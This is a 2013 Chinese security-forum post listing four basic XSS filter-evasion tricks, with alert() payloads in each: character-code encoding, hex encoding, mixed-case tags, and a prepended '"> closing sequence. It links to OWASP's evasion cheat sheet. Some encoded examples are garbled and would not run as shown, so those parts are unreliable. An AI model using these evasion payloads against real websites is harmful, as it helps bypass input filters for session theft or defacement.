找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1922|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。- r# B  k4 g8 l2 n! [5 {: a
1.转换为ASCII码4 D; p- n4 G& f  T) Z. J
例子:原脚本为<script>alert(‘I love F4ck’)</script >. J- t! j8 M- R3 F# k* D& v
通过转换,变成:
& B* A% n: E/ O, y<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>9 f4 j* K9 |$ p. x6 Z

$ y& N& r0 W7 T5 `) p4 R: P2.转换为HEX(十六进制)
% ~$ _# i% {% Y$ A& p' K例子:原脚本为<script>alert(‘I love F4ck’)</script>4 I! k. u1 t( A4 [% l
通过转换,变成:4 ?9 a8 A# m0 l* R6 i9 {& G% e  S
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
9 g' W1 P: q( d7 p# {! n& Z , u' K$ c' _# X- O
3.转换脚本的大小写
4 n& H4 ^5 q) t5 o  k例子:原脚本为<script>alert(‘I love F4ck’)</script>
& F. Z8 F7 T. x/ ^# k, j7 @8 P转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
0 \% j  H" P: b+ U5 P4 I" F& Y# G
5 n$ L  M' F4 l; B4.增加闭合标记”>
5 _; ]1 m! [: l- i例子:原脚本为<script>alert(‘I love F4ck’)</script>
: `/ G3 q+ p5 ?" K( ?转换为:”><script>alert(‘I love F4ck’)</script>
4 E( A3 T+ v! D! E* W更详细绕过技术请参考此网页
! n, X  h$ F7 d, ahttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
+ B: @' n) \9 R8 l; H $ ^2 {! ^/ [2 H" o
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表